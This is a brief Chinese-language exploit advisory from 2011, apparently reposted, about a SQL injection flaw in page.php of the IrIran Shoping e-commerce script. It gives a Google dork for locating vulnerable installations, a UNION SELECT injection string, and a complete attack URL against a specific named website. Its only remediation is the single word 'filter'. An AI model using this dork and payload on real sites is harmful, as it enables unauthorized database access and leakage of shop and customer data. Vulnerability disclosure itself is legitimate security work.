IrIran Shoping Script SQL注入漏洞及修

IrIran Shoping是一款在线电子商务系统，IrIran Shoping中的page.php存在SQL注入漏洞，可能导致敏感信息泄露。
　　[+]info:
　　~~~~~~~~~
　　[~] Title     : IrIran Shoping Script SQL Injection Vulnerability
　　[~] Author    : Net.Edit0r
　　[~] Vendor or Software Link  :
　　[~] Email     :
　　[~] Data  : 2011-03-29
　　[~] Google dork: "Powered by: IRIran.net"
　　[~] Category:  [Webapps]
　　[~] Tested on: [Linux /php]
　　[+]poc:
　　~~~~~~~~~
　　[~] Vulnerable File :
　　http://oma.cublog.cn/products/page.php?id=[SQL]
　　[~] ExploiT         :
　　-10+UnIoN+SeleCt+1,2,3,4,5,6,7,8,9,10,11--
　　[~] Example         :
　　http://oma.cublog.cn/products/page.php?id=-10+UnIoN+SeleCt+1,2,3,4,5,6,7,8,9,10,11--
　　[~] Demo            :
　　--
　　修复：过滤